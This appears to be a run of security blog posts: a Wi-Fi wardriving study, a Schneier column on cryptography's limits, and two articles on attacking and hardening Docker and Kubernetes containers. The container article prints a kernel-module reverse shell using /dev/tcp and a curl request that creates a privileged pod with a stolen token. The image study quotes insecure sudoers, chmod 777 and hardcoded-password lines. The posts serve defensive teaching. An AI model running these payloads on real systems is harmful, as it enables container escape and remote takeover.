To further assess the relationship between encryption strength and WPS exposure, we conducted a secondary analysis of secure networks (WPA2/WPA3) only. The results showed that around half of all secure deployments still exposed WPS, with the following breakdown for each city:
The proportion of secure networks with WPS enabled across the three locations (download)
These findings indicate that encryption strength alone is not enough to evaluate wireless security posture because additional protocol features, such as WPS, may still expose exploitable attack vectors.
Overall, travelers operating within dense public environments are exposed not only to insecure wireless infrastructure but also to various risks associated with digital interactions. These risks include many threats, from public USB charging systems and phishing QR codes to proximity-based protocols and exposure to shared public devices, such as interactive totems or kiosks. One particular point that should be taken into account in light of our research is the issue of rogue wireless deployments.
Rogue access points are not necessarily malicious; they may be set up accidentally by misconfiguring router settings. An entry point for potential compromise might be caused by various misconfigurations, from a weak password to an insecure protocol. However, attackers deploy such unauthorized hotspots with malicious intent to infiltrate a network. Threat actors may deploy rogue access points posing as legitimate public wireless networks in airports, hotels, cafés and tourist areas. These deployments are called “evil twins” and can trick users into connecting to attacker-controlled infrastructure capable of intercepting traffic, harvesting credentials, or performing man-in-the-middle attacks. Further risk lies in the potential compromise of local network devices or even malware distribution. Such threats complement our findings, underscoring the importance of implementing traffic encryption, using a security solution and exercising extreme caution while browsing via public networks.
The wardriving assessment conducted in Mexico City, Guadalajara, and Monterrey revealed that modern wireless infrastructure continues to present multiple forms of operational exposure despite the widespread adoption of WPA2 and WPA3 security standards. The analysis demonstrated that wireless environments are highly standardized in all the locations, with recurring ISP deployments, default SSID naming conventions, homogeneous manufacturer distribution, and predictable channel allocation practices observed in all three cities.
Although most of the detected networks were classified as secure under WPA2/WPA3 authentication mechanisms, a significant proportion were exposing additional attack surfaces through enabled WPS functionality, default configurations, sequential SSID structures, and infrastructure metadata disclosure. This demonstrates that encryption strength alone is insufficient for evaluating the overall security posture of wireless infrastructure. Additionally, the prevalence of open networks and legacy wireless configurations indicates that insecure deployments are still operationally relevant in all the locations.
The results also showed that wireless infrastructure is heavily concentrated within the 2.4 GHz spectrum, particularly around channels 11, 6, and 1. This leads to elevated congestion and increased co-channel interference in densely populated urban environments.
SSID analysis further revealed that publicly broadcast wireless identifiers frequently expose valuable operational information about ISPs, equipment manufacturers, deployment templates, organizational ownership, and user-defined naming practices. The identification of default ISP naming conventions, sequential SSID structures, and BSSID-derived SSIDs demonstrated that many deployments prioritize operational convenience and simplicity over exposure minimization and privacy.
The scope of the threats stemming from vulnerable wireless configurations poses serious digital exposure risks for users. The widespread presence of standard deployments, predictable SSID naming and publicly exposed infrastructure identifiers can facilitate passive reconnaissance, infrastructure fingerprinting and opportunistic targeting.
To minimize the risks of wireless-based exposure and the attack surface related to hotspot infrastructure, we recommend taking the following measures:
The findings presented in this assessment emphasize the importance of combining strong wireless encryption standards, secure deployment practices, exposure minimization strategies, and user awareness to enhance the overall security posture of wireless environments.
As part of their 20th Anniversary celebration, Dark Reading asked five cybersecurity industry leaders who wrote blogs or columns for them over the years to select their favorite piece and share their reflections on the topic today. This is my section.
Renowned technologist and author Bruce Schneier contributed a column on June 20, 2010, warning about cryptography’s inability to secure modern networks, a point he says he has been trying to argue since 2000.
“For a while now, I’ve pointed out that cryptography is singularly ill-suited to solve the major network security problems of today: denial-of-service attacks, website defacement, theft of credit card numbers, identity theft, viruses and worms, DNS attacks, network penetration, and so on.
“Recently, I talked to a former NSA employee at a conference. He told me that back in the 1990s, he had a copy of my book Applied Cryptography by his desk, as did many other cryptographers working at Ft. Meade. People were allowed to refer to it, but they were not allowed to cite it.
“The 1990s were an important decade for cryptography. This was before the internet went mass market, when cryptography was just emerging from a niche academic discipline to a mainstream engineering one. There wasn’t much that programmers could read. The NSA used my book for the same reason it became a bestseller: because it collected all the academic cryptography of the time in one place and made it understandable to people who weren’t mathematicians. They feared it for exactly the same reason.
“I’ve been thinking about that conversation as I revisit a 2010 essay I wrote for Dark Reading, ‘The Failure of Cryptography to Secure Modern Networks.’ Cryptography has inherent mathematical properties that greatly favor the defender. Adding a single bit to the length of a key adds only a slight amount of work for the defender but doubles the amount of work the attacker has to do. Doubling the key length doubles the amount of work the defender has to do (if that—I’m being approximate here) but increases the attacker’s workload exponentially. For many years, we have exploited that mathematical imbalance.
“Computer security is much more balanced. There’ll be a new attack, and a new defense, and a new attack, and a new defense. It’s an arms race between attacker and defender. And it’s a very fast arms race. New vulnerabilities are discovered all the time. The balance can tip from defender to attacker overnight, and back again the night after. Computer security defenses are inherently very fragile.
“That isn’t a new idea. I said much the same thing in the preface to my 2000 book, Secrets and Lies:
“‘Cryptography is a branch of mathematics. And like all mathematics, it involves numbers, equations, and logic. Security, real security that you or I might find useful in our lives, involves people: things people know, relationships between people, people and how they relate to machines. Digital security involves computers: complex, unstable, buggy computers.’
“I especially like how I phrased it in 2016: ‘Cryptography is harder than it looks, primarily because it looks like math. Both algorithms and protocols can be precisely defined and analyzed. This isn’t easy, and there’s a lot of insecure crypto out there, but we cryptographers have gotten pretty good at getting this part right. However, math has no agency; it can’t actually secure anything. For cryptography to work, it needs to be written in software, embedded in a larger software system, managed by an operating system, run on hardware, connected to a network, and configured and operated by users. Each of these steps brings with it difficulties and vulnerabilities.’
“It’s a lesson we have all learned over the decades. Cryptography is still necessary for cybersecurity—although I wouldn’t have used that word back then—but is not sufficient. There are particular attack and forms of mass surveillance that cryptography prevents. But as computers have infused throughout our lives, and networks have connected all those computers, those aspects of cybersecurity have become increasingly important, and vulnerable.
“Today, the cybersecurity world is changing yet again, this time due to the capabilities of artificial intelligence. AI isn’t advancing cryptography, but it’s changing cybersecurity. AI has demonstrated a superhuman ability to find vulnerabilities in software and to write exploits. A similar ability to write patches is probably coming. This has profound implications for both attackers and defenders, and it is unclear who will win the particular arms race in a world of what I call instant software.”
Modern infrastructures universally rely on containerization to deploy applications, scale services, and build cloud platforms. The use of Docker, Kubernetes, and similar technologies has become the corporate standard for efficient automation. However, as containers grow in popularity, so does the interest of malicious actors — a trend we actively track in our research into advanced cyberthreats. For instance, in one of its recent attacks, the APT group TeamPCP compromised Checkmarx KICS across multiple attack chains for different vectors. This included poisoning a Docker Hub repository to later steal Kubernetes secrets and other sensitive data. The tainted images distributed a stealer that was loaded during the KICS scanning process.
Today, attacks on container environments have evolved into full-fledged, multi-stage scenarios involving supply chain compromises, Kubernetes secrets theft, orchestration API abuse, and container escape attempts. This article examines the primary container attack vectors that retain top relevance today.
A container is an isolated code execution environment, designed to partition resources so applications can run correctly and independently. Unlike a virtual machine, a container uses the single underlying kernel of the host operating system.
To isolate the environment, a container uses a distinct process namespace and a virtual file system. Container resources are capped and shared with the host system. This container isolation is built on top of Linux kernel features such as namespaces, cgroups, capabilities, and seccomp.
Compromising a container can help attackers achieve their objectives on the host system itself. Below, we examine the current vectors relevant to container implementation architecture and infrastructure.
The primary and most critical attack vectors targeting container environments that are actively exploited by malicious actors include:
Each of these vectors can be utilized either independently or as part of a complex, multi-stage attack chain. In practice, attackers rarely stop at compromising a single container; their primary objective is often to gain access to the Kubernetes cluster, secrets management systems, or other mission-critical environment components. This is why securing container infrastructure requires a comprehensive approach that spans configuration auditing, runtime protection, activity monitoring, and software supply chain security. Let’s take a closer look at each of these vectors.
Because a container does not have its own isolated OS, vulnerabilities affecting the Linux kernel or runtime components remain just as critical when exploited from within a container.
Any vulnerability that allows for privilege escalation, arbitrary code execution, or isolation bypassing can potentially be leveraged by an attacker once the container is compromised. Successful exploitation of these flaws can lead to a container escape, compromise of the Kubernetes node or the entire cluster, lateral movement across the infrastructure, secrets theft, and malicious actions potentially culminating in a complete service disruption. It is worth noting that the mere presence of a vulnerability does not always guarantee a compromise, as exploitation sometimes requires specific configuration settings or privileges to work.
Below are examples of several vulnerabilities leveraged in attacks on container environments:
Logindocker exec or similar mechanisms.Sometimes, an attacker does not need to exploit complex attack chains involving container escapes, Kubernetes cluster compromise, or lateral movement to achieve their goals. In many cases, the container itself already houses data and resources that are highly valuable to the attacker. For example, a container may contain:
These types of data are especially prone to exposure due to configuration mistakes or specific operational processes. For instance, secrets might be passed via environment variables, baked into Docker images during the build phase, or mounted directly inside the container. In Kubernetes environments, automatically mounted ServiceAccount tokens are of particular interest to attackers, as they provide a direct pathway to interact with the Kubernetes API.
Even a single compromised container frequently provides an attacker with sufficient leverage for next steps: gaining access to external services, compromising cloud infrastructure, stealing user data, impersonating a trusted service, or establishing persistence within the environment. Beyond data theft, malicious actors can use a compromised container as a staging ground for further malicious activity. This is why securing container infrastructure is about much more than just preventing escapes. Even a fully isolated container, if it houses sensitive data or holds access to internal services, can become a major foothold for an infrastructure breach.
In the context of this vector, approaches and techniques applicable not only to container environments but also to traditional systems are frequently applied. Once an attacker gains access to a container, they usually find themselves in a full-featured Linux environment, allowing them to deploy standard post-exploitation, reconnaissance, and persistence methods.
We explored container configuration errors and other unsafe practices that attackers could exploit to carry out malicious activities in more detail in this article.
Container escape is one of the most dangerous and prevalent attack vectors targeting container infrastructure. The term refers to the bypassing of container isolation, allowing an attacker to directly interact with the host system.
The opportunity to escape a container can arise from a multitude of sources: the exploitation of vulnerabilities, container misconfigurations, or the insecure use of containerization and orchestration APIs. Indeed, container escape is the logical conclusion of most attacks on container infrastructure, as the attacker’s ultimate goal is frequently to break out of the isolated environment and gain access to the host system or the broader Kubernetes cluster. As such, container escape ties together a significant portion of the attack vectors discussed in this article. In practice, misconfigurations remain one of the most common root causes of successful container escapes, as they occur far more frequently than the exploitation of complex vulnerabilities. With that in mind, we will take a closer look at container misconfigurations and their associated attack scenarios below.
To better understand the risks associated with container misconfigurations, let’s explore the concept of capabilities in Linux systems. This is a mechanism for granularly granting extended permissions to processes, allowing them to perform privileged actions without needing full root access.
One of the most dangerous configurations is running a container with the --privileged flag. In this mode, the container is granted all Linux capabilities, direct access to host devices, and the ability to interact with kernel interfaces. A container configured this way virtually ceases to be an isolated environment and, in many cases, possesses capabilities comparable to root access on the host system.
Let’s look at a basic example of a container escape attack involving the --privileged flag. Using the capsh utility, you can see that such a container possesses virtually all Linux capabilities. Furthermore, if the PID namespace matches the host’s, the process with PID=1 corresponds to init, the first system process in Linux. In a different configuration, PID 1 would belong to the process that created the container. If we spawn a shell from the init process using the nsenter utility, the expected behavior is the creation of a process outside the container, which can easily be verified by using the hostname command.
Container privilege misconfigurations open up a broad attack surface. Let’s dive deeper into how specific capabilities can be used to execute a container escape.
CAP_SYS_ADMIN is considered one of the most dangerous Linux capabilities in the context of container security. Although Linux capabilities were originally intended to break down superuser privileges into discrete categories, over time, CAP_SYS_ADMIN became a catch-all for a massive number of sensitive kernel operations. As a result, a container granted this capability gains access to a wide array of system mechanisms that directly impact container isolation. It inherits the ability to mount file systems, interact with the cgroups mechanism responsible for resource allocation, modify kernel parameters within certain limits, work with loop devices, and utilize various namespace management features. In practice, this heavily blurs the line between the container and the host system.
This capability becomes especially dangerous when combined with other configuration errors. For instance, if the container is configured to use the hostPath parameter, an attacker can leverage a container compromise to mount the host system’s directories right into their own environment and access critical host files. Similarly, having access to /proc or /sys allows for direct interaction with internal Linux kernel mechanisms, which can drastically expand the blast radius of the breach.
Let’s look at a clear example of how having CAP_SYS_ADMIN can help an attacker escape a container. Illustrated below is the sequence of actions inside a container possessing CAP_SYS_ADMIN privileges and access to host directories. By mounting the host’s disk to a folder inside the container, the attacker can freely interact with all files on the host system. In this specific example, it shows the ability to overwrite the root user’s shell configuration by injecting an arbitrary malicious payload.
CAP_SYS_MODULE provides direct access to the kernel module loading and unloading mechanism. This direct interaction with kernel space makes CAP_SYS_MODULE a high-risk capability, unlike many other capabilities that are restricted purely to user space.
From a Linux architectural standpoint, kernel modules consist of code executing with maximum privileges inside kernel space. These modules can extend system functionality, manage devices, handle the network stack, interface with file systems, and control other mission-critical components. This is why the ability to dynamically load these modules via CAP_SYS_MODULE equates to having the power to manipulate the behavior of the entire operating system.
In practice, modern containerized applications rarely require CAP_SYS_MODULE. The presence of this capability is typically tied to legacy architectures, monitoring systems, or specialized drivers that must interact directly with the kernel. This is why CAP_SYS_MODULE is almost universally banned in modern infrastructures. In most environments, it is considered an unacceptable risk because its compromise does not just lead to localized privilege escalation within the container, but to code execution directly in kernel space.
A container escape using this capability happens in several stages. The goal of the attack in this case is to load a malicious Linux kernel module. It is worth noting that the module must match the specific kernel version in use, requiring the attacker to perform additional reconnaissance to identify it. These attacks can be executed entirely within the container if it contains the necessary build tools to compile the module and has access to kernel dependency directories. However, because these utilities are typically stripped from container images, attackers usually compile the malicious payload with the required dependencies on an external host. They then either transfer it over the network or drop it into a binary file on the target by using a command like echo.
Let’s look at a container escape using a kernel module with the following payload example:
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("Test");
MODULE_AUTHOR("Test");
MODULE_DESCRIPTION("reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<IP>/<Port> 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);Upon loading, this module triggers the reverse shell. Once the payload is built and successfully delivered to the container, all the attacker needs to do is start a listener on the IP address and port specified in the payload, and then load the module into kernel space.
The CAP_SYS_PTRACE capability grants a process elevated permissions to interact with other system processes via the ptrace system call. While it is designed for debugging and code tracing, its misconfiguration in containerized environments can severely weaken isolation and, under certain conditions, enable a container escape leading to host system compromise.
The primary risk of CAP_SYS_PTRACE is that it allows a process to read and modify the memory of other processes, control their execution, inject code, and extract sensitive data directly from memory. Furthermore, CAP_SYS_PTRACE enables process injection techniques.
If a container is compromised, an attacker can use ptrace to attach to host processes. Crucially, this is only possible if the host’s PID namespace is shared with the container — this is configured via hostPID: true. This configuration allows the attacker to target a process running on the host, inject code, and trigger a reverse shell — though in most cases, this requires additional malicious code. The image below demonstrates this kind of an attack, implemented using a publicly available PoC.
CAP_NET_ADMIN provides extensive privileges to manage the network stack of a Linux system. If a container is compromised, the presence of this capability significantly weakens network isolation and creates additional opportunities for further exploitation.
A container equipped with CAP_NET_ADMIN can modify network interface configurations, manipulate routing tables, interact with traffic filtering mechanisms, and alter the behavior of the network stack. Although most of these operations are formally restricted to the container’s own network namespace, in practice, this capability is frequently combined with other misconfigurations — such as the hostNetwork: true parameter — which grants direct access to the host’s network resources.
Once inside the container, an attacker can leverage this capability to modify its network behavior and launch further attacks across the infrastructure. One of the most common scenarios involves manipulating iptables rules to redirect traffic. This enables man-in-the-middle (MitM) attacks, allowing the attacker to intercept internal traffic or mask their own malicious activities.
It is important to emphasize that there are many other Linux capabilities that can lead to a container escape when combined with specific misconfigurations; we have highlighted only a few of the most severe and frequently encountered.
One of the most dangerous and common attack vectors in containerized infrastructure is the exploitation of misconfigured container management and orchestration APIs. Unlike attacks that require complex kernel vulnerability exploits or container escape, this scenario is often remarkably straightforward: the attacker simply needs to gain access to the control interfaces of the container environment.
The fundamental risk stems from the fact that container platform APIs possess inherent administrative privileges over the entire infrastructure. The Docker API, Kubernetes API, and kubelet API are designed to spin up containers, modify configurations, access host file systems, and execute commands inside running containers. When misconfigured, these interfaces immediately become a point of failure for the entire environment.
One of the most notorious examples of this vector is an exposed Docker API. If the Docker daemon is accessible over TCP without TLS or authentication, an attacker can remotely interact with the host system with permissions equivalent to a local administrator. They can deploy new containers custom-configured for attacks, mount the host’s entire root file system, and execute arbitrary commands within any container via the API. In practice, compromising an unauthenticated Docker API typically leads to a complete host takeover after just a few API requests.
Similar risks exist within Kubernetes environments. The Kubernetes API server acts as the central control point for the entire cluster. If an attacker manages to compromise a ServiceAccount token, exploit weak RBAC policies, or discover an inadvertently exposed API server, they can execute a broad spectrum of destructive operations.
For the sake of this attack example, let us assume that an attacker has compromised a Kubernetes API token for a privileged account. First, they enumerate the token’s permissions, typically by running a script to query each individual capability. This gives them a full list of Kubernetes privileges.
The script’s output reveals that the compromised API token grants exceptionally high privileges within the cluster. The logical next step in the attack chain is to deploy a malicious, privileged container to execute any of the host escape techniques described above. In our example, the attacker used a curl POST request to the API to create the container:
curl -k -X POST https://<kubernetes-url>/api/v1/namespaces/default/pods -H "Authorization: Bearer <Token>" -H "Content-Type: application/json" -d @pod.json
The configuration passed in the pod.json file is explicitly designed to enable an escape:
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "privileged-pod-from-api"
},
"spec": {
"containers": [
{
"name": "debug-container",
"image": "ubuntu:latest",
"command": ["sleep", "3600"],
"securityContext": {
"privileged": true
}
}
]
}
}
Once the privileged container is deployed, the attacker can execute an escape to compromise the underlying host system.
However, this is not the only high-risk scenario involving API requests. For instance, when a Docker socket is mounted inside a container, an attacker gains the ability to interact with the Docker daemon directly. Once that container is compromised, the attacker effectively inherits the privileges of the daemon, which means they gain control over all containers on the host.
To execute the attack, adversaries look for containers with mounted sockets. The further progression of the attack replicates what has been described above: an API request is made to create a privileged container, after which any escape method is similarly exploited using the API.
Unlike classic attacks aimed at exploiting vulnerabilities in already deployed containers, this approach focuses on compromising components before they are even launched in the runtime environment. Modern container infrastructure is tightly integrated with a large number of external components. As a result, container security directly depends not only on the application itself, but on the entire image build and delivery chain. Compromising any of these stages potentially allows an attacker to inject malicious code into multiple containers and services simultaneously.
One of the most common scenarios involves attacks that contaminate container images. In many organizations, developers use public images from Docker Hub or other available sources without a full verification of their origin or contents. Threat actors frequently publish contaminated images that masquerade as popular services and utilities. Once a container like that is launched within the infrastructure, the attacker gains the ability to execute their own code right inside the organization’s trusted environment.
Furthermore, CI/CD container deployment systems are among the most frequent targets of these attacks. Application build and delivery platforms typically possess elevated privileges. For instance, after gaining access to a CI/CD system, an attacker can covertly modify the Docker image build stages. Instead of altering the application’s source code, the attacker can inject the malicious logic directly into the pipeline itself. An additional command during the build process can download a third-party binary, add a hidden script, modify the container configuration, or implant a remote management mechanism. Externally, the container will look completely legitimate because its core functionality remains unchanged.
Overall, modern attacks on container environments demonstrate that the primary threat arises not just from within the container itself, but from the implementation of the container infrastructure as a whole. Containers are frequently exploited as an initial foothold to establish persistence within a system; following an initial compromise, attackers aim to either escalate to the host OS level or gain control over infrastructure management via containerization and orchestration APIs. To achieve this, they exploit weak configurations, excessive capabilities, and isolation flaws.
Furthermore, there is a visible trend of attacks shifting toward CI/CD pipelines, where compromising a single component can lead to a full infrastructure takeover. Therefore, under current realities, securing containerized environments requires an approach that encompasses host protection, strict access control within the orchestrator, minimization of container capabilities, and comprehensive validation of the entire supply chain. Our solution Kaspersky Container Security has been designed with the specific characteristics of container environments in mind and provides protection at various levels from container images to the host system helping to implement the principles of secure software development.
Containerization using Docker has become firmly established in modern development standards, significantly increasing the speed and convenience of deploying various services. Developers often use ready-made Docker images, making only minimal changes. The largest repository of container images is the Docker Hub service.
Container-hosted infrastructure is an attractive target for attackers. At a minimum, a compromised container can be used for DDoS attacks, cryptocurrency mining, or traffic proxying. The list of threats does not end there: once an attacker gains control of a container, they can steal or destroy data directly from it, access neighboring containers, or even attempt to escape the container, compromising the entire enterprise network.
At the same time, the infrastructure inside containers is typically updated less frequently and may contain outdated and vulnerable software versions. When deploying third-party images or modifying them for a specific environment, it is easy to make configuration errors that attackers can later exploit. And due to the architectural characteristics of containers, developers often face constraints when preparing images; to overcome these, they may resort to insecure solutions they find online.
In other words, containerized infrastructure can be both the simplest and the most lucrative target to exploit. Therefore, its security requires heightened attention. To minimize the risk of successful attacks on container infrastructure, it is essential to check the final Docker images, including all underlying layers, for vulnerabilities and misconfigurations. The easiest way to do this is by analyzing the Dockerfile; however, it is not always available for inspection. Moreover, it typically defines how to build layers on top of a base image from an external repository whose reliability cannot be guaranteed.
Image analysis results in Kaspersky Container Security
To help users identify insecure configurations and potential vulnerabilities within them, we have added our AI assistant to Kaspersky Container Security.KIRA (the assistant’s name) uses artificial intelligence to analyze the image and identify potential issues within, along with recommendations on how to fix them.
As part of this study, we asked KIRA to analyze a number of popular community images, and later in this article, we’ll show you the results.
One of the key security issues with using pre-built images is that developers do not update them in a timely manner. A Docker image is, by its very nature, a snapshot of a specific Linux distribution after packages have been installed on it. However, in most cases, it does not receive security updates on its own, unlike traditional Linux servers, where these updates are automatically installed by specialized services, such as unattended-upgrades in Debian-based distributions and dnf-automatic in RedHat-based distributions.
To apply updates to a Docker image, it must be rebuilt and redeployed. Often, this process is not automated, and some updates require additional effort to verify their correct operation, modify configurations when upgrading to new software versions, and so on. As a result, many popular images do not receive timely updates, which significantly increases the risks associated with their use.
An image that was secure at build time accumulates vulnerabilities as they are discovered in the packages installed within it, which over time significantly increases the opportunities for a successful attack on the container.
Vulnerable versions of web applications and network services accessible from the internet immediately become targets of various malicious campaigns. For example, just one day after the discovery of the CVE-2025-55182 vulnerability in React Server Components, our honeypots recorded numerous attack attempts related to this vulnerability. It was adopted by operators of many malicious campaigns, ranging from classic cryptocurrency miners to variants of Mirai and Gafgyt. Attackers are constantly adding new distribution methods and can use dozens of exploits targeting various vulnerabilities and configuration errors in popular services. Often, the same vulnerabilities are used in self-propagation mechanisms from already compromised hosts. For example, in a malicious campaign to spread the Dero miner, attackers use infected containers to automatically search for and infect new targets.
In addition to vulnerabilities that can be exploited remotely, attackers are rapidly adding local vulnerabilities to their arsenal, used to gain root privileges and escape the container: in the Kinsing malware campaign, attackers used CVE-2023-4911 (Looney Tunables) to elevate privileges, and in the perfctl campaign, the CVE-2021-4034 (PwnKit) vulnerability was used for the same purpose. The access gained was used to install a rootkit that hides the presence of perfctl on the system.
To assess the situation with unpatched vulnerabilities in containers, we took a random sample of 100 images, which included various popular solutions with 10,000 to 1 million downloads on DockerHub. In the 64 images we scanned, we found outdated software versions with critical vulnerabilities. For example, some images contained the CVE-2025-49844 vulnerability in the Redis server, leading to RCE by leveraging a vulnerability in the Lua parser; the current CVE-2026-24061 vulnerability in nginx, which in some configurations leads to a server process crash, and with ASLR disabled, again, to RCE; vulnerabilities CVE-2025-32463 in sudo and CVE-2023-4911 in glibc, allowing an attacker to gain root privileges with local access. At the same time, only one in ten Docker images from the analyzed sample is fully up to date.
TOP 10 Critical Vulnerabilities with PoC/Exploits available as shown in the Kaspersky Container Security Dashboard
It is worth noting that, of course, not every discovered vulnerability can be directly exploited by attackers. A practical risk arises when the vulnerable application or library is actually in use, and the conditions necessary for exploitation – which vary significantly from vulnerability to vulnerability – are met. Nevertheless, updates must not be ignored, as the risk of vulnerabilities being exploited – both individually and in various combinations – cannot be predicted in each specific case, and even vulnerabilities that seem harmless at first glance can ultimately pose a serious risk of compromise.
A record number of vulnerabilities in a single image
However, frequent updates have a downside. Every rebuild that downloads new packages from source repositories introduces an additional risk of a supply chain attack – a compromised dependency or a modified base image could silently inject malicious code into your environment precisely through an update. During our analysis of images from the sample, we did not find any signs of supply chain attacks. However, in March 2026, a supply chain incident occurred in the Trivy and LiteLLM projects. In the case of Trivy, the infected file was injected directly into the container image in the official repositories.
Detecting potentially malicious software using one of the images as an example
This leads to a difficult choice: infrequent updates leave known vulnerabilities unpatched within the image, while frequent updates increase the risk of supply chain compromise. Therefore, to protect your infrastructure, you need not only to regularly update base images but also to take a more comprehensive approach, specifically by pinning dependencies to known-good versions and scanning the resulting images for malware upon update.
Even a container with a fully updated image can be compromised if it is configured incorrectly. Embedding keys and secrets in the image, disabling authentication in network services, default passwords, and insecure file access permissions – all of these can be exploited by attackers in one way or another to achieve their goals.
Insecure image configurations detected by KCS based on rules
The situation is exacerbated by the fact that errors may be introduced by the authors of the original image, which complicates their detection, as this requires analyzing every layer and the command that generated it. As with vulnerabilities, not every configuration error leads to compromise: it all depends on the container’s role, its network accessibility, and many other factors. But the very use of insecure settings will sooner or later lead to errors appearing in images where their consequences will be significantly more dangerous.
Standard rules are often insufficient for analyzing problematic configurations. To gain a deeper understanding of the context and assess potential risks, AI tools can be used. Later in this section, we will examine examples of typical insecure configurations we discovered while scanning public images from Docker Hub, along with the descriptions of issues and risk mitigation methods provided by the KIRA AI assistant.
Example of container analysis using KIRA
In some cases, containers may use default passwords set via environment variables or directly in Dockerfile. If these passwords are not overridden, attackers will be able to access the application by using the default password.
RUN |1 DEBIAN_FRONTEND=noninteractive /bin/sh -c echo [removed]:[removed] | chpasswd
According to KIRA’s analysis, the user’s password is stored in plain text in the image layer history. Anyone who gains access to the image – whether through a public registry, a compromised build environment, or other means – will be able to extract the password. If SSH or another form of interactive access is enabled in the container, this could lead to its complete compromise and allow attackers to move laterally within the infrastructure.
Passwords may be present in environment variables. Consider the following Dockerfile snippet:
ENV SERVERNAME=localhost WWW_PATH_CONF=/etc/apache2/apache2.conf WWW_PATH_ROOT=/var/www HTTPS=on PKP_CLI_INSTALL=0 PKP_DB_HOST=db PKP_DB_NAME=pkp PKP_DB_USER=pkp PKP_DB_PASSWORD=changeMePlease PKP_WEB_CONF=/etc/apache2/conf-enabled/pkp.conf PKP_CONF=config.inc.php PKP_CMD=/usr/local/bin/pkp-start
In this example, the environment variable PKP_DB_PASSWORD is set to changeMePlease. If the user forgets to override it, the application will use the password that can be obtained from Dockerfile.
Let’s look at another image:
/bin/sh -c #(nop) ENV MOODLE_URL=<a href="http://0.0.0.0/">http://0.0.0.0</a> MOODLE_ADMIN admin MOODLE_ADMIN_PASSWORD [removed] MOODLE_ADMIN_EMAIL admin@example.com MOODLE_DB_HOST MOODLE_DB_PASSWORD MOODLE_DB_USER MOODLE_DB_NAME MOODLE_DB_PORT 3306
For this image, Dockerfile specifies that the administrator password is hardcoded in the ENV directive and remains in the image metadata (layer history, docker inspect). Anyone who gains access to the image (registry, build cache) will be able to extract this secret and compromise the account.
To eliminate these risks, ensure that no passwords are specified in Dockerfile. If authentication is required, you can use orchestrator mechanisms (secrets) or generate a temporary password when starting the container via the entrypoint script, without saving it in the layers. We also recommend using mechanisms for securely passing secrets at runtime (Docker secrets, Kubernetes Secrets) or, as a last resort, passing them via --secret during the build with BuildKit, but under no circumstances should they be left in the final image.
In some cases, passwords may be exposed when passed via command-line arguments, as these arguments are visible to all users on the system:
/bin/sh -c #(nop) HEALTHCHECK &{[""CMD-SHELL"" ""mysql --protocol TCP -u\""root\"" -p\""$MYSQL_ROOT_PASSWORD\"" -e \""SELECT 1;\""""] ""15s"" ""30s"" ""0s"" '\x05'}
In the example provided, the MySQL superuser password is passed into the healthcheck command in plaintext, making it visible when viewing the process list (ps aux), in audit logs, and in monitoring systems. If the attacker gains read access to the container’s processes or logs, they can extract the password and gain full control of the database.
To fix this issue, the healthcheck should use a local connection via a Unix socket with default authentication (if the auth_socket plugin is configured for root), or create a dedicated user with minimal privileges (e.g., only USAGE), without a password or with a password passed via a secure file (--defaults-file with restricted permissions). You can also use the MYSQL_PWD environment variable for healthcheck authentication, but it remains visible in /proc.
One of the most common vectors for initial compromise of Linux systems is RCE in web applications and network services. Typically, these services have minimal privileges, which complicates attackers’ subsequent actions: dumping credentials, covering their tracks, attempting to escape the container, and much more.
The situation worsens significantly if the attacker gains root privileges, as this allows them to fully control all processes within the container, conceal their activity, and use methods to escape the container. For example, they can compromise the host if the container is privileged, a Docker socket is mounted inside it, or other insecure configurations and vulnerabilities exist that cannot be exploited with standard user privileges.
Similarly, this simplifies network attacks on neighboring containers, the orchestrator, and various internal services, making this configuration error a potential link in the chain for compromising the entire network.
One of the simplest privilege escalation methods is executing arbitrary commands as root using sudo without entering a password. Consider the following example:
/bin/sh -c set -xe; apt-get update && apt-get -y install sudo; echo ""solr ALL=(ALL) NOPASSWD: ALL"" >/etc/sudoers.d/solr;
Analyzing this configuration using KIRA immediately highlights the main issue: by installing the sudo package and setting NOPASSWD: ALL for the solr, the user severely violates the principle of least privilege. The Solr platform does not require such broad privileges to run within a container; instead, they create an easy path for escalating to root.
echo 'postgres ALL=(ALL:ALL) NOPASSWD:ALL' >> /etc/sudoers
In another example of an insecure configuration, NOPASSWD:ALL privileges are granted to a PostgreSQL database user, which is a direct and severe weakening of the access control policy. If an attacker gains the ability to execute code on behalf of the postgres user – through a vulnerability in a network service, an SQL injection, or by compromising of one of the processes – they will immediately and unconditionally be able to execute any commands on behalf of the root user. This is equivalent to the entire container running as root.
As a risk mitigation measure, we recommend completely removing this directive. The minimum necessary commands requiring privileges should be delegated on a case-by-case basis via sudoers with explicit specification of allowed executables and parameters, using NOPASSWD only as a last resort and for specific utilities.
Our AI assistant KIRA can identify even more complex insecure configurations, such as allowing passwordless sudo for the entire sudo group — by modifying existing rules.
perl -i -pe 's/\bALL$/NOPASSWD:ALL/g' /etc/sudoers
The risk in this example is that the command replaces standard declarations requiring authentication with passwordless execution of all commands for any user within the sudo group – potentially including postgres, should it be assigned to that group. This expands the attack surface to all group members, turning each of them into a potential point for instant privilege escalation.
To mitigate the risks, we recommend not modifying the global sudoers policy, keeping the standard password requirement, or using a more secure escalation mechanism – such as gosu to run a specific process on behalf of another user without permanent privileges.
Another common vector for privilege escalation is insecurely configured file and directory permissions. Most often, for convenience, container image authors use 777 permissions, which allow anyone – including unprivileged users – to freely create and delete files, as well as modify their contents. This can lead to both privilege escalation and the ability for an unprivileged attacker to delete or modify logs, among other undesirable consequences.
Consider the following command:
chmod 0777 /usr/share/cargo /usr/share/cargo/bin
The risk is that directories containing binary files and scripts will become writable by any container user. This allows a low-privileged attacker to replace utilities included in cargo or add new malicious executables. When these tools are subsequently invoked, especially as the root user or via sudo, the attacker’s code will execute with the inherited privileges of the calling process, leading directly to a local privilege escalation.
To mitigate the risks, you can set the minimum necessary permissions: chmod 0755 for directories and chmod 0755/0644 for the corresponding files. The owner should be root, and only the owner should be allowed to write. Do not use chmod 777 on any system paths.
Downloading software without verifying its integrity can make the infrastructure vulnerable to software tampering.
For example, this risk may arise when downloading a distribution via HTTP:
